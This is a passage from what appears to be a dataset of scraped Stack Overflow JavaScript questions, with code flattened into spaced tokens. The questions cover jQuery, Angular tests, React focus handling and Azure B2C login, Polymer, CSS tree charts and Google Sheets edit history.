cookie.substring ( 1 , cookie.length ) ; } if ( cookie.indexOf ( nameEQ ) === 0 ) { return cookie.substring ( nameEQ.length , cookie.length ) ; } } return null ; } function eraseCookie ( name ) { createCookie ( name , '' '' , -1 ) ; } var faves = new Array ( ) ; $ ( function ( ) { var favID ; var query = window.location.search.substring ( 1 ) ; var vars = query.split ( `` & '' ) ; for ( var i=0 ; i < vars.length ; i++ ) { var pair = vars [ i ] .split ( `` = '' ) ; var favID = ( pair [ 0 ] =='ID ' ? pair [ 1 ] :1 ) //alert ( favID ) ; } $ ( document.body ) .on ( 'click ' , ' # addTofav ' , function ( ) { var fav = { 'favoriteid ' : favID } ; faves.push ( fav ) ; var stringified = JSON.stringify ( faves ) ; createCookie ( 'favespages ' , stringified ) ; location.reload ( ) ; } ) ; var myfaves = JSON.parse ( readCookie ( 'favespages ' ) ) ; if ( myfaves ) { faves = myfaves ; } else { faves = new Array ( ) ; } $ .each ( myfaves , function ( index , value ) { var element = ' < li class= '' '+index+ ' '' > < h4 > '+value.favoriteid+ ' < /h4 > ' ; $ ( ' # appendfavs ' ) .append ( element ) ; } ) ; } ) ; < /script >",use saved variable in cookie with php "JS : I am absolutely baffled bu this . Here 's my CSS : When I click A , B , or T everything is fine ; The alert shows the number of elements that have the classname that I 'm looking for and displays them . But when I click C , K or W , the elements , although they clearly exist , are not found.I have n't got the palest shade of a clue as to why this happens . $ ( window ) .load ( function ( ) { $ ( '.zichtbaar ' ) .removeClass ( 'zichtbaar ' ) .addClass ( 'verborgen ' ) ; $ ( ' # zoekitem ' ) .focus ( ) ; $ ( '.letter ' ) .on ( 'click ' , function ( ) { $ ( '.zichtbaar ' ) .addClass ( 'verborgen ' ) .removeClass ( 'zichtbaar ' ) ; var letter = $ ( this ) .text ( ) ; var klasse = `` LETTER- '' + letter ; var el = $ ( ' . ' + klasse ) ; alert ( klasse + `` - `` + el.length ) ; $ ( ' # alfabet-header ' ) .html ( letter ) ; el.addClass ( 'zichtbaar ' ) .removeClass ( 'verborgen ' ) ; } ) ; } ) ; # zoekitem { font-size : 1.3em ; } # letter-header { height : 32px ; color : royalblue ; font-size : 1.5em ; font-weight : bold ; overflow : hidden ; } .letter { float : left ; width : 3.7037037037037 % ; cursor : pointer ; text-align : center ; } # alfabet-header { font-size : 5em ; font-weight : bold ; } .inhoud { margin-left : 10 % ; } .verborgen { display : none ; } # zoek-header { font-size : 2em ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.0.0/jquery.min.js '' > < /script > < div id= '' letter-header '' > < div class= '' letter '' > A < /div > < div class= '' letter '' > B < /div > < div class= '' letter '' > ​C < /div > < div class= '' letter '' > ​​D < /div > < div class= '' letter '' > ​E < /div > < div class= '' letter '' > F < /div > < div class= '' letter '' > ​G < /div > < div class= '' letter '' > ​H < /div > < div class= '' letter '' > ​​I < /div > < div class= '' letter '' > J < /div > < div class= '' letter '' > ​​K < /div > < div class= '' letter '' > L < /div > < div class= '' letter '' > ​M < /div > < div class= '' letter '' > ​N < /div > < div class= '' letter '' > O < /div > < div class= '' letter '' > ​P < /div > < div class= '' letter '' > ​Q < /div > < div class= '' letter '' > ​R < /div > < div class= '' letter '' > ​S < /div > < div class= '' letter '' > T < /div > < div class= '' letter '' > ​U < /div > < div class= '' letter '' > V < /div > < div class= '' letter '' > ​W < /div > < div class= '' letter '' > ​X < /div > < div class= '' letter '' > Y < /div > < div class= '' letter '' > Z < /div > < div class= '' letter '' > 0-9 < /div > < /div > < br/ > < div > < div id= '' alfabet-header '' > < /div > < div id= '' zoek-header '' class= '' verborgen '' > Zoekresultaten voor : < /div > < div class= '' inhoud LETTER-A verborgen '' > < a href= '' www.appels.com '' target= '' _blank '' > Appels < /a > < /div > < div class= '' inhoud LETTER-B verborgen '' > < a href= '' www.boerenkool.com '' target= '' _blank '' > Boerenkool < /a > < /div > < div class= '' inhoud LETTER-B verborgen '' > < a href= '' www.bonen.com '' target= '' _blank '' > Bonen < /a > < /div > < div class= '' inhoud LETTER-B verborgen '' > < a href= '' www.bosbessen.com '' target= '' _blank '' > Bosbessen < /a > < /div > < div class= '' inhoud LETTER-C verborgen '' > < a href= '' www.citrus.com '' target= '' _blank '' > Citrus < /a > < /div > < div class= '' inhoud LETTER-K verborgen '' > < a href= '' www.kappertjes.com '' target= '' _blank '' > Kappertjes < /a > < /div > < div class= '' inhoud LETTER-T verborgen '' > < a href= '' www.tuinbonen.com '' target= '' _blank '' > Tuinbonen < /a > < /div > < div class= '' inhoud LETTER-W verborgen '' > < a href= '' www.wittekool.com '' target= '' _blank '' > Witte kool < /a > < /div > < /div >",Class does exist but is not found "JS : I have a tile inside a template and I want it to show a date : Where date is a property of the element : This will however display the whole date and time , and I only want the date . So I 'm trying to do : But this does n't work . How can I format the date in this setup ? < template > < px-tile description= [ [ date ] ] < /px-tile > < /template > date : { type : Date , } < template > < px-tile description= [ [ date.toLocaleDateString ( `` en-US '' ) ] ] < /px-tile > < /template >",Polymer - format date in binded value "JS : I am trying to make text adaptive using jQuery . Here is the fiddle : http : //jsfiddle.net/bq2ca7ch/You can see a div with some text in it . The div does n't have a specified height , and it 's height is calculated from text height and 10 % paddings on top and bottom.I want font-size to be responsive . Let 's say , div 's original size was 124px , and font-size was 50px , so I want to keep this ratio . That means I need to know , what percent 50 is from 124 . It is about 40.32 ( 50/124*100 ) . That means that I need to set font-size to value , equal to container height/100 * 40.32 . Here is the code I used : That seems to be working , but only when I resize the page . When I reload it , there is some different value . Why does the same function gives different values on resize and onload ? function foo ( ) { var container = $ ( `` .box '' ) ; var containerHeight = $ ( `` .box '' ) .innerHeight ( ) .toFixed ( ) ; var neededSize = ( containerHeight/100*40.32 ) .toFixed ( ) ; container.css ( `` font-size '' , neededSize + `` px '' ) ; } $ ( window ) .resize ( foo ) ; $ ( document ) .ready ( foo ) ;",$ ( window ) .resize ( ) and $ ( document ) .ready ( ) calculate different values "JS : I 'm pretty new to Angular and I am working to test an Angular service that runs off an API level service which wraps a bunch of calls to a REST service . Because it is working with HTTP requests , both parts of the service are working with promises and it seems to work fine , but I am having trouble getting any tests of promised behaviour working.The relevant part of my service code ( grossly simplified ) looks like this : When I am setting up my mock I have something like this : Any synchronous tests pass fine , but when I try to run any tests like this I get a message saying : Error : Timeout - Async callback was not invoked within timeout specified by jasmine.DEFAULT_TIMEOUT_INTERVAL . It seems as though something about the way that Angular.Mocks handles the deferred result is causing it to fail . When I step through the test , the mock object 's defer variable is being set correctly , but the then statement in the service is never called . Where am I going wrong ? angular.module ( 'my.info ' ) .service ( 'myInfoService ' , function ( infoApi , $ q ) { infoLoaded : false , allInfo : [ ] , getInfo : function ( ) { var defer = $ q.defer ( ) ; if ( infoLoaded ) { defer.resolve ( allInfo ) ; } else { infoApi.getAllInfo ( ) .then ( function ( newInfo ) { allInfo = newInfo ; infoLoaded = true ; defer.resolve ( allInfo ) ; } ) ; } return defer.promise ; } } ) ; describe ( `` Info Service `` , function ( ) { var infoService , infoRequestApi , $ q ; beforeEach ( module ( `` my.info '' ) ) ; beforeEach ( function ( ) { module ( function ( $ provide ) { infoRequestApi = { requestCount : 0 , getAllInfo : function ( ) { var defer = $ q.defer ( ) ; this.requestCount++ ; defer.resolve ( [ `` info 1 '' , `` info 2 '' ] ) ; return defer.promise ; } } ; $ provide.value ( `` infoApi '' , infoRequestApi ) ; } ) ; inject ( function ( _myInfoService_ , _ $ q_ ) { infoService = _myInfoService_ , $ q = _ $ q_ ; } ) ; } ) ; it ( `` should not fail in the middle of a test '' , function ( done ) { infoService.getInfo ( ) .then ( function ( infoResult ) { // expectation checks . expect ( true ) .toBeTrue ( ) ; } ) .finally ( done ) ; } ) ; } ) ;",Jasmine test for Angular service does not resolve deferred call "JS : This is my current arrayI 'm trying to return a new array , with each currency and the total value for each currency.Like below return the total amount for each currency in the array above My approach initially : 0 : { modelNumber : `` 123456789 '' , balance : { amount:1000 , currency : '' EUR '' } } 1 : { modelNumber : `` 987654321 '' , balance : { amount:2000 , currency : '' EUR '' } } 2 : { modelNumber : `` 322353466 '' , balance : { amount:1500 , currency : '' GBP '' } } 3 : { modelNumber : `` 892347522 '' , balance : { amount:1000 , currency : '' USD '' } } 4 : { modelNumber : `` 931883113 '' , balance : { amount:3000 , currency : '' INR '' } } 5 : { modelNumber : `` 854300564 '' , balance : { amount:2500 , currency : '' GBP '' } } 6 : { modelNumber : `` 931883113 '' , balance : { amount:3000 , currency : '' INR '' } } 7 : { modelNumber : `` 854300564 '' , balance : { amount:3500 , currency : '' USD '' } } 0 : { currency : `` EUR '' , totalAmount : 3500 } 1 : { currency : `` GBP '' , totalAmount : 5000 } 2 : { currency : `` USD '' , totalAmount : 4500 } 3 : { currency : `` INR '' , totalAmount : 6000 } //the current arraylet theInitialArray = state.vehicle ; const results = theInitialArray.reduce ( ( accumalator , current ) = > { const { currency } = current.balance ; if ( accumalator [ currency ] ) { accumalator [ currency ] .push ( current ) ; return accumalator ; } accumalator [ currency ] = [ current ] ; return accumalator ; } , { } ) ; let frank = Object.keys ( results ) let jim = [ ] ; let expectedOutput = theInitialArray.filter ( ( x ) = > { for ( let i=0 ; i < frank.length ; i++ ) { if ( x.balance.currency === frank [ i ] ) { jim.push ( { 'currency ' : frank [ i ] , 'amount ' : x.balance.amount } ) ; } } } ) ; console.log ( 'expectedOutput ' , expectedOutput ) return expectedOutput",Get the total value of the matching array elements "JS : Let 's say we have this code ( forget about prototypes for a moment ) : is the inner function recompiled each time the function A is run ? Or is it better ( and why ) to do it like this : Or are the javascript engines smart enough not to create a new 'method ' function every time ? Specifically Google 's v8 and node.js.Also , any general recommendations on when to use which technique are welcome . In my specific example , it really suits me to use the first example , but I know thath the outer function will be instantiated many times . function A ( ) { var foo = 1 ; this.method = function ( ) { return foo ; } } var a = new A ( ) ; function method = function ( ) { return this.foo ; } function A ( ) { this.foo = 1 ; this.method = method ; } var a = new A ( ) ;",Are closures in javascript recompiled "JS : i 'm trying to create a `` generative score '' using beep.js based on some map data i have . i am using new Beep.Voice as placeholder for notes associated to specific types of data ( 7 voices total ) . as data is displayed , a voice should be played . i 'm doing things pretty `` brute force '' so far and i 'd like it to be cleaner : i 'd like to just `` play '' the voice , assuming it would have a duration of , say , 20ms ( basically just beep on data ) . i saw the duration property of voices but could n't make them work.the code is here ( uses grunt/node/coffeescript ) : https : //github.com/mgiraldo/inspectorviz/blob/master/app/scripts/main.coffeethis is how it looks like so far : https : //vimeo.com/126519613 // in the data processing functionvoice = voices [ datavoice ] voice.play ( ) setTimeout ( function ( ) { killVoice ( voice ) } , 20 ) // and the killvoice : function killVoice ( voice ) { voice.pause ( ) }",play a single beep ( beep.js ) "JS : I have a Kendo Dropdownlist which initialized using HTML helper way instead of JQuery way.Is there anyway to make the post request to /Service/GetServiceRepository using JSON as contentType instead of the default application/x-www-form-urlencoded ? @ ( Html.Kendo ( ) .DropDownListFor ( model = > model.ServiceID ) .OptionLabelTemplate ( `` # =optionLabel # '' ) .ValueTemplate ( `` # =Code # ( # =Rate # ) - # =Description # '' ) .Template ( `` # =Code # ( # =Rate # ) - # =Description # '' ) .DataTextField ( `` Code '' ) .DataValueField ( `` ServiceID '' ) .DataSource ( d = > { d.Read ( read = > { read.Action ( `` GetServiceRepository '' , `` Service '' ) .Data ( `` ... '' ) .Type ( HttpVerbs.Post ) ; } ) ; } ) .OptionLabel ( new { optionLabel = Resources.Wording.SelectOne , ServiceID = 0 , Rate = 0 , Code = `` '' } ) )",How to make Kendo MVC Helpers 's CRUD using JSON as contentType "JS : I have found this chart to display family tree . Everything is great expect for husband and wife . The connector between husband and wife is not straight . I want the connector line between husband and wife to be straight line.live feed can be seen in below link : live demo jsFiddleThank-you /*Now the CSS*/* { margin : 0 ; padding : 0 ; } .yellow { background : # FFEC94 ; } .orange { background : # FFF7EF ; } .green { background : # B0E57C ; } .royal-blue { background : # 56BAEC ; } .brown { background : # FFAEAE ; } .green-one { background : # D6E3B5 ; } .tree ul { padding-top : 20px ; position : relative ; transition : all 0.5s ; -webkit-transition : all 0.5s ; -moz-transition : all 0.5s ; } .tree li { float : left ; text-align : center ; list-style-type : none ; position : relative ; padding : 20px 5px 0 5px ; transition : all 0.5s ; -webkit-transition : all 0.5s ; -moz-transition : all 0.5s ; } /*We will use : :before and : :after to draw the connectors*/.tree li : :before , .tree li : :after { content : `` ; position : absolute ; top : 0 ; right : 50 % ; border-top : 1px solid # ccc ; width : 50 % ; height : 20px ; } .tree li : :after { right : auto ; left : 50 % ; border-left : 1px solid # ccc ; } /*We need to remove left-right connectors from elements without any siblings*/.tree li : only-child : :after , .tree li : only-child : :before { display : none ; } /*Remove space from the top of single children*/.tree li : only-child { padding-top : 0 ; } /*Remove left connector from first child and right connector from last child*/.tree li : first-child : :before , .tree li : last-child : :after { border : 0 none ; } /*Adding back the vertical connector to the last nodes*/.tree li : last-child : :before { border-right : 1px solid # ccc ; border-radius : 0 5px 0 0 ; -webkit-border-radius : 0 5px 0 0 ; -moz-border-radius : 0 5px 0 0 ; } .tree li : first-child : :after { border-radius : 1px 0 0 0 ; -webkit-border-radius : 5px 0 0 0 ; -moz-border-radius : 5px 0 0 0 ; } /*Time to add downward connectors from parents*/.tree ul ul : :before { content : `` ; position : absolute ; top : 0 ; left : 50 % ; border-left : 1px solid # ccc ; width : 0 ; height : 20px ; } .tree li a { border : 1px solid # ccc ; padding : 5px 10px ; text-decoration : none ; color : # 666 ; font-family : arial , verdana , tahoma ; font-size : 11px ; display : inline-block ; border-radius : 5px ; -webkit-border-radius : 5px ; -moz-border-radius : 5px ; transition : all 0.5s ; -webkit-transition : all 0.5s ; -moz-transition : all 0.5s ; } /*Time for some hover effects*//*We will apply the hover effect the the lineage of the element also*/.tree li a : hover , .tree li a : hover+ul li a { background : # c8e4f8 ; color : # 000 ; border : 1px solid # 94a0b4 ; } /*Connector styles on hover*/.tree li a : hover+ul li : :after , .tree li a : hover+ul li : :before , .tree li a : hover+ul : :before , .tree li a : hover+ul ul : :before { border-color : # 94a0b4 ; } /*Thats all . I hope you enjoyed it.Thanks : ) */ < div class= '' tree '' style= '' width:2860px '' > < ul > < li > < a href= '' # '' class= '' first yellow '' > Husband Name < /a > < ul > < li > < a href= ' # ' > Child One < /a > < /li > < li > < a href= ' # ' > Child Two < /a > < ul > < li > < a href= ' # ' > Grand Child One < /a > < /li > < /ul > < /li > < /ul > < /li > < li > < a href= '' # '' class= '' first yellow '' > Spouse Name < /a > < /li > < /ul > < /div >",Organizational Chart "JS : I am trying to understand the JavaScript prototype and I am bit confused.There are tons of tutorials out there and each has different explanation on it . So I do n't know where to start with.So far I have created a simple JavaScript objectIn MDN , I read that All objects in JavaScript are descended from ObjectBut I could n't find the prototype for this object a a.prototype gives me undefinedThen I found the prototype is available in a.constructor.prototype . When I create a function var myfunc = function ( ) { } and then myfunc.prototype is available . So the prototype property is directly available on functions and not on objects.Please help me to understand this and what is that a.constructor.Any help is greatly appreciated . var a = { flag : 1 }",Why prototype is not available in simple JavaScript object "JS : Can someone show me the most efficient way to convert an array to a tree-like structure ? Result array must be like this : Thanks in advance var array= [ { id : `` 1 '' , name : `` header1 '' } , { id : `` 2 '' , name : `` header2 '' } , { id : `` 1.1 '' , name : `` subheader1.1 '' } , { id : `` 1.2 '' , name : `` subheader1.2 '' } , { id : `` 2.1 '' , name : `` subheader2.1 '' } , { id : `` 2.2 '' , name : `` subheader2.2 '' } , { id : `` 1.1.1 '' , name : `` subheader1detail1 '' } , { id : `` 2.1.1 '' , name : `` subheader2detail2 '' } ] ; var array = [ { id : `` 1 '' , name : `` header1 '' , items : [ { id : `` 1.1 '' , name : `` subheader1.1 '' , items : [ { id : `` 1.1.1 '' , name : `` subheader1detail1 '' , } ] } , { id : `` 1.2 '' , name : `` subheader1.2 '' } ] } , { id : `` 2 '' , name : `` header2 '' , items : [ { id : `` 2.1 '' , name : `` subheader2.1 '' , items : [ { id : `` 2.1.1 '' , name : `` subheader2detail2 '' , } ] } , { id : `` 2.2 '' , name : `` subheader2.2 '' } ] } ]",Dynamically convert array to tree-like structure "JS : What is most simple way to make `` roving tabindex '' in React ? It 's basically switch focus and tabindex=0/-1 between child elements . Only a single element have tabindex of 0 , while other receives -1 . Arrow keys switch tabindex between child elements , and focus it.For now , I do a simple children mapping of required type , and set index prop and get ref , to use it later . It looks robust , but may be there more simple solution ? My current solution ( pseudo-javascript , for idea illustration only ) : ElementWithFocusManagement.jswith-focus.jsAnything.js function recursivelyMapElementsOfType ( children , isRequiredType , getProps ) { return Children.map ( children , function ( child ) { if ( isValidElement ( child ) === false ) { return child ; } if ( isRequiredType ( child ) ) { return cloneElement ( child , // Return new props // { // index , iterated in getProps closure // focusRef , saved to ` this.focusable ` aswell , w/ index above // } getProps ( ) ) ; } if ( child.props.children ) { return cloneElement ( child , { children : recursivelyMapElementsOfType ( child.props.children , isRequiredType , getProps ) } ) ; } return child ; } ) ; } export class ElementWithFocusManagement { constructor ( props ) { super ( props ) ; // Map of all refs , that should receive focus // { // 0 : { current : HTMLElement } // ... // } this.focusable = { } ; this.state = { lastInteractionIndex : 0 } ; } handleKeyDown ( ) { // Handle arrow keys , // check that element index in ` this.focusable ` // update state if it is // focus element } render ( ) { return ( < div onKeyDown= { this.handleKeyDown } > < Provider value= { { lastInteractionIndex : this.state.lastInteractionIndex } } > { recursivelyMapElementsOfType ( children , isRequiredType , // Check for required ` displayName ` match getProps ( this.focusable ) // Get index , and pass ref , that would be saved to ` this.focusable [ index ] ` ) } < /Provider > < /div > ) ; } } export function withFocus ( WrappedComponent ) { function Focus ( { index , focusRef , ... props } ) { return ( < Consumer > { ( { lastInteractionIndex } ) = > ( < WrappedComponent { ... props } elementRef= { focusRef } tabIndex= { lastInteractionIndex === index ? 0 : -1 } / > ) } < /Consumer > ) ; } // We will match for this name later Focus.displayName = ` WithFocus ( $ { WrappedComponent.name } ) ` ; return Focus ; } const FooWithFocus = withFocus ( Foo ) ; < ElementWithFocusManagement > // Like toolbar , dropdown menu and etc . < FooWithFocus > Hi there < /FooWithFocus > // Button , menu item and etc . < AnythingThatPreventSimpleMapping > < FooWithFocus > How it 's going ? < /FooWithFocus > < /AnythingThatPreventSimpleMapping > < SomethingWithoutFocus / > < /ElementWithFocusManagement >",Roving tabindex w/ React "JS : I would like to intercept HTML5 Web Notifications . I have read the following answer where a user suggests that it is possible to override the window.Notification object with your own object that will act as a proxy . I tried to do that but could n't manage it to work . Below is the JavaScript code I am injecting when a page has been loaded : function setNotificationCallback ( callback ) { const OldNotify = window.Notification ; OldNotify.requestPermission ( ) ; const newNotify = ( title , opt ) = > { callback ( title , opt ) ; return new OldNotify ( title , opt ) ; } ; newNotify.requestPermission = OldNotify.requestPermission.bind ( OldNotify ) ; Object.defineProperty ( newNotify , 'permission ' , { get : ( ) = > { return OldNotify.permission ; } } ) ; window.Notification = newNotify ; } function notifyCallback ( title , opt ) { console.log ( `` title '' , title ) ; // this never gets called } window.Notification.requestPermission ( function ( permission ) { if ( permission === `` granted '' ) { setNotificationCallback ( notifyCallback ) ; } } )",Intercept HTML5 Web Notifications in a browser environment "JS : I 'm building a browser game and im using a heavy amount of ajax instead of page refreshs . I 'm using php and javascript . After alot of work i noticed that ajax isnt exactly secure . The threats im worried about is say someone wants to look up someones information on my SQL server they 'd just need to key in right information to my .php file associated with my ajax calls . I was using GET style ajax calls which was a bad idea . Anyways after alot of research i have the following security measures in place . I switched to POST ( which isnt really any more secure but its a minor deterent ) . I have a referred in place as well which again can be faked but again its another deterrent . The final measure i have in place and is the focus of this question , when my website is loaded i have a 80 char hex key generated and saved in the session , and when im sending the ajax call i am also sending the challenge key in the form of now when the ajax php file reads this it checks to see if the sent challenge matchs the session challenge . Now this by itself wouldnt do much because you can simply open up firebug and see what challenge is being sent easily . So what I 'm having it do is once that challenge is used it generates a new one in the session.So my question is how secure is this from where im standing it looks one could only see what the challenge key was after it was sent and then it renews and they couldnt see it again until it is sent , making it not possible to send a faked request from another source . So does anyone see any loop hole to this security method or have any addition thoughts or ideas . challenge= < ? php $ _SESSION [ `` challenge '' ] ; ? >",Ajax Security ( i hope ) "JS : I 'm trying to access id 's of elements fetched by getElementsByTagName but I 'm getting an error:The error is : Uncaught TypeError : Can not read property 'id ' of undefinedWhen I change to it works , but I do n't understand why this happens . var divs=document.getElementsByTagName ( `` div '' ) ; for ( var i=0 ; i < divs.length ; i++ ) { divs [ i ] .onclick=function ( ) { alert ( divs [ i ] .id ) ; } } < ! DOCTYPE html > < html lang= '' en '' > < head > < meta charset= '' UTF-8 '' / > < title > Document < /title > < /head > < body > < div id= '' 1 '' > 1 < /div > < div id= '' 2 '' > 2 < /div > < div id= '' 3 '' > 3 < /div > < div id= '' 4 '' > 4 < /div > < div id= '' 5 '' > 5 < /div > < div id= '' 6 '' > 6 < /div > < /body > < /html > alert ( divs [ i ] .id ) ; alert ( this.id ) ;",Using DOM to get element id 's inside onclick JS : I have : I want to declare the state variable as well.Is there a way to destructure this without breaking it into two statements ? const { state : { mode } } = thisconsole.log ( mode ) //'mode'console.log ( state ) //undefined const { state } = thisconst { mode } = state,Creating variables for destructured objects in addition to their properties "JS : I 'm working through a tutorial on functional programming that shows the following code example using the sanctuary.js library : I get the error Maybe.of is not a function . The sanctuary.js API documentation shows an example of using .of as S.of ( S.Maybe , 42 ) , so I modified my code like this : And I get the error : I do n't see any documentation on the sanctuary site about the FiniteNumber type class . How do I make this code work ? And is there any way to chain the sanctuary .of constructor onto type classes , so the example on the tutorial site works ? var S = require ( 'sanctuary ' ) var Maybe = S.MaybeS.add ( Maybe.of ( 3 ) , Maybe.of ( 5 ) ) .map ( n = > n * n ) ... S.of ( S.Maybe , 3 ) , S.of ( S.Maybe , 5 ) add : : FiniteNumber - > FiniteNumber - > FiniteNumber ^^^^^^^^^^^^ 1The value at position 1 is not a member of ‘ FiniteNumber ’ .",Using ` .of ` Constructor on Sanctuary Maybe "JS : I have a function in search of a name.I 've been building a new functional programming library in Javascript , and I recently added a new function that looks useful to me . I named it useWith but I 'm wondering if it 's a function already known to functional programmers under a different name.The function is related to compose in that it returns a new function that combines several existing ones , but in a slightly different manner than compose . The first parameter it receives is singled out ; the remainder are treated uniformly . When the returned function is called , the arguments are passed respectively to each of these remaining functions , and the results , along with any unpaired arguments are sent to that first function , whose result is then returned . So if this is called with only two functions , and if the resulting function is passed a single argument , this is exactly equivalent to compose . But it has some additional features for multiple arguments.The reason I wanted this function was that I was implementing something like the project functionMichal Fogus presented in Functional Javascript , an equivalent of Codd 's project for an array of similar Javascript objects , and similar to SQL 's select verb . It is quite easy to write like this : But I really wanted to implement it in a points-free style . But of course this would n't work : ... because there is no facility to pass through the second parameter , table inside compose.That 's where this new function comes in : I made it more generic than this case , though . The original approach was called using with the parameters reversed , so that it read as a command : `` Using pick , map '' . But that made it hard to extend to multiple parameters . I 'd have to make the first one an array , or allow it to be either an array or a single function , and I did n't really want to go there . This seemed a much better solution.I feel as though I ca n't be the first person with the need for a function like this . Is this a common pattern in FP languages ? Is there a common name for this function ? If not , are there suggestions for a better name than useWith ? If you 're curious , here 's the implementation of useWith , using a pretty obvious slice , and a fairly standard curry : var project = curry ( function ( keys , table ) { return map ( pick ( keys ) , table ) ; } ) ; // Used like this : var kids = [ { name : 'Bob ' , age : 3 , eyes : 'blue ' , hair : 'brown ' } , { name : 'Sue ' , age : 5 , eyes : 'hazel ' , hair : 'blonde ' } ] ; project ( [ 'name ' , 'eyes ' ] , kids ) ; //= > [ { name : 'Bob ' , eyes : 'blue ' } , { name : 'Sue ' , eyes : 'hazel ' } ] var project = compose ( map , pick ) ; // NO ! var project = useWith ( map , pick ) ; var useWith = curry ( function ( fn /* , tranformers */ ) { var tranformers = slice ( arguments , 1 ) ; return function ( ) { var args = [ ] , idx = -1 ; while ( ++idx < tranformers.length ) { args.push ( tranformers [ idx ] ( arguments [ idx ] ) ) } return fn.apply ( this , args.concat ( slice ( arguments , tranformers.length ) ) ) ; } ; } ) ;",What 's a Good Name for this extended ` compose ` function ? "JS : I am working with react and I have to give my user login through Azure B2C , So I am trying to do that but I am not able to find out how to do that and what is the.What I have triedI got this example from Microsoft site which is done using plain JavaScript ( vanilla ) , I have no idea how I will implement this in my react code.So I tried to move with some react library , I google around and found This libraryI have followed the same code they have written , but when I hit login button it takes me to login page of azure , So in my app.js I am doing console.log ( authentication.getAccessToken ( ) ) ; after login it throws null , I do n't know whyMy codeAnd then on click of login I am doing thisin my app.js I am doing like belowSo initially it is showing null which is fine , but after login also it is throwing error only.So I was not able to resolve this , that 's why I move to the other library which is almost similar to thisThis oneSo here when I click on login button I am getting error asThe example I got from Microsoft with valina Javascript , I think that is the perfect way to do but How can I imliment that through react I do n't knowThis the code with vanilla jsI have been stuch here from long time i do n't know what to do now , not able to find good example on google to implement it with reactPS : I am using react hooks functional component to write my code , please guide me through thisI just want to implement this using react in a proper way , I know out tehre so many peoples who are already using this , so I just want to see a good example.Edit / updateI tried doing like thisI check Microsoft link pasted as answer , and changed instance : instance : 'https : //mylogin.b2clogin.com/tfp ' , toinstance : 'https : //my-tanent-name.b2clogin.com/tenent-id/oauth2/authresp ' , but I am getting error as bad requestand I check network tab and I check the url it is hitting and it is hitting belowI tried removing https from instance and hit it like this//mytenant.b2clogin.com/tenant-id/oauth2/authrespit throws error as Uncaught AuthorityUriInsecureI think it is going to wrong place authentication.initialize ( { // optional , will default to this instance : 'https : //login.microsoftonline.com/tfp ' , // My B2C tenant tenant : 'mytenant.onmicrosoft.com ' , // the policy to use to sign in , can also be a sign up or sign in policy signInPolicy : 'B2c_signupsignin ' , // the the B2C application you want to authenticate with ( that 's just a random GUID - get yours from the portal ) clientId : 'fdfsds5-5222-ss522-a659-ada22 ' , // where MSAL will store state - localStorage or sessionStorage cacheLocation : 'sessionStorage ' , // the scopes you want included in the access token scopes : [ 'https : //mytenant.onmicrosoft.com/api/test.read ' ] , // optional , the redirect URI - if not specified MSAL will pick up the location from window.href redirectUri : 'http : //localhost:3000 ' , } ) ; const Log_in = ( ) = > { authentication.run ( ( ) = > { } ) ; } ; import authentication from 'react-azure-b2c ' ; function App ( ) { console.log ( authentication.getAccessToken ( ) ) ; } b2cauth.initialize ( { instance : 'https : //mylogin.b2clogin.com/tfp ' , tenant : 'mylogin.b2clogin.com ' , signInPolicy : 'B2C_1_SigninSignupUsername ' , clientId : 'fc3081ec-504a-4be3-a659-951a9408e248 ' , cacheLocation : 'sessionStorage ' , scopes : [ 'https : //mylogin.b2clogin.com/api/demo.read ' ] , redirectUri : 'http : //localhost:3000 ' , } ) ; b2cauth.run ( ( ) = > { ReactDOM.render ( < App / > , document.getElementById ( 'root ' ) ) ; serviceWorker.unregister ( ) ; } ) ; https : //login.microsoftonline.com/common/discovery/instance ? api-version=1.0 & authorization_endpoint=https : //my-tenatnt-name.b2clogin.com/tenant-id/oauth2/authrespmy-tenant-name.b2clogin.com/b2c_1_signinsignupusername/oauth2/v2.0/authorize",How to integrate azure b2c with react "JS : I have code to check if a window is closed . It works IF I stay on the same page.With Internet Explorer , if I click on a link that then redirects to another site , that window.closed returns true even though the WINDOW never actually is closed.I am doing this : Within `` mypage.html '' , there is a link to another site . When going to that other side , the w.closed returns true.Is there a good way in IE to really check if the window is closed or not.The contract is n't really satisfied because the window never actually closed.This code works in Chrome , not in IE9 w = window.open ( `` mypage.html '' ) ; var t = setInterval ( function ( ) { if ( ! w ) { alert ( ' a ' ) ; } if ( w.closed ) { alert ( ' b ' ) ; } if ( ! w || w.closed ) { clearInterval ( t ) ; hide ( 'mainShadow ' ) ; } } , 800 ) ;",Check if window.closed but also with a redirect to another URL/Host "JS : I have a Google Spreadsheet . When I click right mouse button on any cell I can choose Show edit history from context menu.After that I can see edit history in popup window.My question is how can I get this data from the cell via script ? I tried to find solution with inspect option and found expected data here : Any suggestions how can I import that data in some Google sheet ? UpdatedI am continue looking for the solution.When I inspect this action ( to show edit history ) with Chrome DevTools I found on the Network tab this request : I recognized meaning of some parameters . I 'm not sure about correction ... Query string parametersForm data : I think it is possible to create custom fetch and get blob . Then extract Last editor name and timestamp of last edition of the cell.Unfortunately , my skill is poor . I 'm just learning . Can some one help me with this ? < div class= '' docs-blameview-authortimestamp '' > < div class= '' docs-blameview-author '' > My name < /div > < div class= '' docs-blameview-timestamp '' > May 9 , 11:56 AM < /div > < /div > fetch ( `` https : //docs.google.com/spreadsheets/d/1xVrzBezPzOmZC7Vap-reuNcWXZx_0qONbZ67pBiHVkQ/blame ? token=AC4w5VhQLkaKWPQT2sGl8uO8MkXyW1N7hg % 3A1589033535890 & includes_info_params=true '' , { `` headers '' : { `` accept '' : `` */* '' , `` accept-language '' : `` en-US , en ; q=0.9 '' , `` content-type '' : `` multipart/form-data ; boundary= -- -- WebKitFormBoundaryFpwmP3acru2z5xQc '' , `` sec-fetch-dest '' : `` empty '' , `` sec-fetch-mode '' : `` cors '' , `` sec-fetch-site '' : `` same-origin '' , `` x-build '' : `` trix_2020.18-Tue_RC02 '' , `` x-client-data '' : `` CI62yQEIpLbJAQipncoBCNCvygEIvLDKAQjttcoBCI66ygEYmr7KAQ== '' , `` x-rel-id '' : `` 6a4.4ffb56e6.s '' , `` x-same-domain '' : `` 1 '' } , `` referrer '' : `` https : //docs.google.com/spreadsheets/d/1xVrzBezPzOmZC7Vap-reuNcWXZx_0qONbZ67pBiHVkQ/edit '' , `` referrerPolicy '' : `` strict-origin-when-cross-origin '' , `` body '' : `` -- -- -- WebKitFormBoundaryFpwmP3acru2z5xQc\r\nContent-Disposition : form-data ; name=\ '' selection\ '' \r\n\r\n [ 30710966 , [ null , [ null , [ null , \ '' 629843311\ '' ,9,1 ] , [ [ null , \ '' 629843311\ '' 